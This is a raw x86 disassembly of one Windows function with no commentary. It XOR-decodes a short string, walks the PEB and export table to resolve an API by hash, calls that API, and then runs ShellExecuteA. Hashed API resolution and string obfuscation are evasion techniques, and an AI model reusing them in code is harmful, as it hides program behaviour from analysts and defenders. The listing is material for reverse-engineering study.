mov edx, dword [ebp - 0x278]
sub esi, ecx
cmp dword [ebp - 0x274], 0x10
lea ecx, [ebp - 0x288]
mov dword [ebp - 0x4c4], esi
cmovae ecx, dword [ebp - 0x288]
setae byte [ebp - 0x4cd]
mov dword [ebp - 0x4b4], ecx
mov dword [ebp - 0x4c8], edx
cmp esi, edx
ja 0x415d4c
test esi, esi
je 0x415e23
mov eax, ecx
inc edx
sub eax, esi
add eax, edx
movsx edx, byte [ebp - 0x240]
mov dword [ebp - 0x234], eax
sub eax, ecx
push eax
push edx
push ecx
mov dword [ebp - 0x22c], edx
call fcn.0046c5d0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x415d4c
lea edx, [ebp - 0x240]
mov ecx, edi
sub esi, 4
jb 0x415cc3
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x415ccc
add ecx, 4
add edx, 4
sub esi, 4
jae 0x415cb2
cmp esi, 0xfffffffc
je 0x415d08
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x415d01
cmp esi, 0xfffffffd
je 0x415d08
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x415d01
cmp esi, 0xfffffffe
je 0x415d08
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x415d01
cmp esi, 0xffffffff
je 0x415d08
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x415d08
sbb eax, eax
or eax, 1
jmp 0x415d0a
xor eax, eax
test eax, eax
je 0x415d3d
mov eax, dword [ebp - 0x234]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x22c]
push edi
call fcn.0046c5d0
mov esi, dword [ebp - 0x4c4]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x415ca5
jmp 0x415d4c
sub edi, dword [ebp - 0x4b4]
cmp edi, 0xffffffff
jne 0x415e23
mov eax, dword [0x49ec64]
xor edx, edx
mov dword [ebp - 0x248], eax
mov al, byte [0x49ec68]
mov byte [ebp - 0x244], al
mov dword [ebp - 0x4b4], edx
nop word [eax + eax]
mov eax, 0x446f8657
mul edx
mov eax, dword [ebp - 0x4b4]
sub eax, edx
shr eax, 1
add eax, edx
mov edx, dword [ebp - 0x4b4]
shr eax, 6
mov cl, dl
movsx eax, al
imul eax, eax, 0x65
sub cl, al
add cl, 0x63
xor byte [ebp + edx - 0x248], cl
inc edx
mov dword [ebp - 0x4b4], edx
cmp edx, 5
jl 0x415d70
lea edi, [ebp - 0x248]
lea ecx, [edi + 1]
mov al, byte [edi]
inc edi
test al, al
jne 0x415db5
mov edx, dword [ebp - 0x4c8]
sub edi, ecx
mov ecx, dword [ebp - 0x274]
sub ecx, edx
push edi
cmp edi, ecx
ja 0x415e0a
cmp byte [ebp - 0x4cd], 0
lea eax, [edx + edi]
mov dword [ebp - 0x278], eax
lea esi, [ebp - 0x288]
cmovne esi, dword [ebp - 0x288]
lea eax, [ebp - 0x248]
add esi, edx
push eax
push esi
call fcn.0046bc80
add esp, 0xc
mov byte [edi + esi], 0
jmp 0x415e23
lea eax, [ebp - 0x248]
push eax
push dword [ebp - 0x4d4]
lea ecx, [ebp - 0x288]
push edi
call fcn.00416e40
mov ecx, dword [ebp - 0x274]
lea eax, [ebp - 0x288]
cmp ecx, 0x10
cmovae eax, dword [ebp - 0x288]
push eax
lea eax, [ebp - 0x228]
push eax
call fcn.0046f3a4
add esp, 8
push 0
push 0x412020
push 0
push 0x65
push dword [ebp - 0x4d4]
call dword [sym.imp.USER32.dll_DialogBoxParamA]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov edx, dword [eax + 0x18]
mov dword [ebp - 0x22c], edx
mov ecx, dword [edx + 0x3c]
mov ecx, dword [ecx + edx + 0x78]
add ecx, edx
mov dword [ebp - 0x234], ecx
cmp ecx, edx
je 0x415eeb
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x415eeb
mov ecx, dword [ecx + 0x20]
lea ecx, [ecx + edi*4]
add ecx, edx
sub ecx, 4
dec edi
mov dword [ebp - 0x4d4], ecx
mov esi, 0x5c142c2a
mov ecx, dword [ecx]
add ecx, edx
mov dl, byte [ecx]
inc ecx
test dl, dl
je 0x415ede
movsx edx, dl
lea ecx, [ecx + 1]
xor edx, esi
imul esi, edx, 0x1000193
mov dl, byte [ecx - 1]
test dl, dl
jne 0x415ec1
cmp esi, 0x26e67cef
je 0x415eef
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [eax + 0x18]
test edi, edi
jne 0x415ea3
mov eax, dword [eax]
jmp 0x415e70
mov esi, dword [ebp - 0x234]
mov edx, dword [ebp - 0x22c]
push 1
mov eax, dword [esi + 0x24]
lea eax, [eax + edi*2]
movzx ecx, word [eax + edx]
mov eax, dword [esi + 0x1c]
lea eax, [eax + ecx*4]
mov eax, dword [eax + edx]
add eax, edx
call eax
mov edx, dword [ebp - 0x274]
cmp edx, 0x10
jb 0x415f52
mov ecx, dword [ebp - 0x288]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415f48
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
push edx
push ecx
call fcn.0046a5c6
add esp, 8
mov edx, dword [ebp - 0x2ec]
mov dword [ebp - 0x278], 0
mov dword [ebp - 0x274], 0xf
mov byte [ebp - 0x288], 0
cmp edx, 0x10
jb 0x415fab
mov ecx, dword [ebp - 0x300]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415fa1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
push edx
push ecx
call fcn.0046a5c6
add esp, 8
cmp byte [ebp - 0x4c9], 0
mov dword [ebp - 0x2f0], 0
mov dword [ebp - 0x2ec], 0xf
mov byte [ebp - 0x300], 0
je 0x416008
mov edx, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x330]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x415ffe
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
push edx
push ecx
call fcn.0046a5c6
add esp, 8
mov edx, dword [ebp - 0x34c]
cmp edx, 0x10
jb 0x416046
mov ecx, dword [ebp - 0x360]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x41603c
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
push edx
push ecx
call fcn.0046a5c6
add esp, 8
mov edx, dword [ebp - 0x334]
mov dword [ebp - 0x350], 0
mov dword [ebp - 0x34c], 0xf
mov byte [ebp - 0x360], 0
cmp edx, 0x10
jb 0x41609f
mov ecx, dword [ebp - 0x348]
inc edx
mov eax, ecx
cmp edx, 0x1000
jb 0x416095
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4160e4
push edx
push ecx
call fcn.0046a5c6
add esp, 8
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0046a386
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0x10
push 6
mov dword [ebp - 0x23c], 0
call fcn.004179d9
push 1
call fcn.004179d9
push eax
call fcn.004179ac
call fcn.004011e0
call fcn.00470be0
mov edi, dword [ebp - 0x22c]
mov eax, dword [ebp - 0x4c8]
push 1
push 0
push edi
push dword [ebp - 0x4c4]
push eax
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0xffffffffffffffff
call fcn.0046df4e
int3